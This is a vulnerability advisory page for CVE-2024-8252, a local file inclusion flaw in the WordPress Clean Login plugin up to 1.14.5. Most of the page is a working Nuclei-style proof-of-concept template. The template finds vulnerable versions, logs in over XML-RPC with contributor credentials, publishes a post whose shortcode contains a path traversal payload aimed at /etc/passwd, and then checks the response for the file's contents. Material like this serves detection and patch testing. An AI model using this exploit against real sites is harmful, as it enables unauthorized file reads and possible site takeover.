CVE-2024-8252: WordPress Clean Login <= 1.14.5 Authenticated (Contributor+) - Local File Inclusion

2026-04-09 WordPress Clean Login PoC Public

Description

The Clean Login plugin for WordPress up to version 1.14.5 contains a path traversal caused by the 'template' attribute in the clean-login-register shortcode, letting authenticated attackers with contributor access include and execute arbitrary files, exploit requires attacker to have contributor or higher access level.

PoC

id: CVE-2024-8252

info:
  name: WordPress Clean Login <= 1.14.5 Authenticated (Contributor+) - Local File Inclusion
  author: pussycat0x
  severity: high
  description: |
    The Clean Login plugin for WordPress up to version 1.14.5 contains a path traversal caused by the 'template' attribute in the clean-login-register shortcode, letting authenticated attackers with contributor access include and execute arbitrary files, exploit requires attacker to have contributor or higher access level.
  impact: |
    Authenticated attackers can include and execute arbitrary PHP files, leading to remote code execution and potential full site compromise.
  remediation: |
    Update to the latest version of the plugin, above 1.14.5, to fix the vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/clean-login/clean-login-1145-authenticated-contributor-local-file-inclusion
    - https://plugins.trac.wordpress.org/changeset/3143241/clean-login
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-98
  metadata:
    max-request: 4
    verified: true
    product: clean-login
    vendor: codection
    shodan-query: http.component:"WordPress"
  tags: cve,cve2024,wordpress,wp-plugin,lfi,clean-login,authenticated

flow: http(1) && http(2) && http(3)

http:
  - id: version-detect
    method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/clean-login/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Clean Login")'
          - 'compare_versions(version, "<= 1.14.5")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable\s+tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /xmlrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0"?>
        <methodCall>
        <methodName>wp.getUsersBlogs</methodName>
        <params>
        <param><value><string>{{username}}</string></value></param>
        <param><value><string>{{password}}</string></value></param>
        </params>
        </methodCall>

      - |
        POST /xmlrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0"?>
        <methodCall>
        <methodName>wp.newPost</methodName>
          <params>
            <param><value><int>1</int></value></param>
            <param><value><string>{{username}}</string></value></param>
            <param><value><string>{{password}}</string></value></param>
            <param>
            <value>
            <struct>
            <member>
            <name>post_title</name>
            <value><string>{{randstr}}</string></value>
          </member>
          <member>
            <name>post_content</name>
            <value><string>[clean-login-register template="../../../../../../../etc/passwd"]</string></value>
          </member>
          <member>
            <name>post_status</name>
            <value><string>publish</string></value>
          </member>
          <member>
            <name>post_type</name>
            <value><string>post</string></value>
          </member>
        </struct>
        </value>
        </param>
        </params>
        </methodCall>

    extractors:
      - type: regex
        name: postid
        part: body_2
        group: 1
        regex:
          - '<string>(\d+)</string>'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains(body_1, "<string>")'
          - 'contains(body_2, "<param>")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?p={{postid}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("root:.*:0:0:", body)'
        condition: and
# digest: 4b0a00483046022100d96476cf80afa745eda2683581c4e1da10fa8ff22d2bd9649f09576ba2e5e161022100ab7e213d43d52aa642b5454e5290323c219faeaec9fe055d488548a218cf5501:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities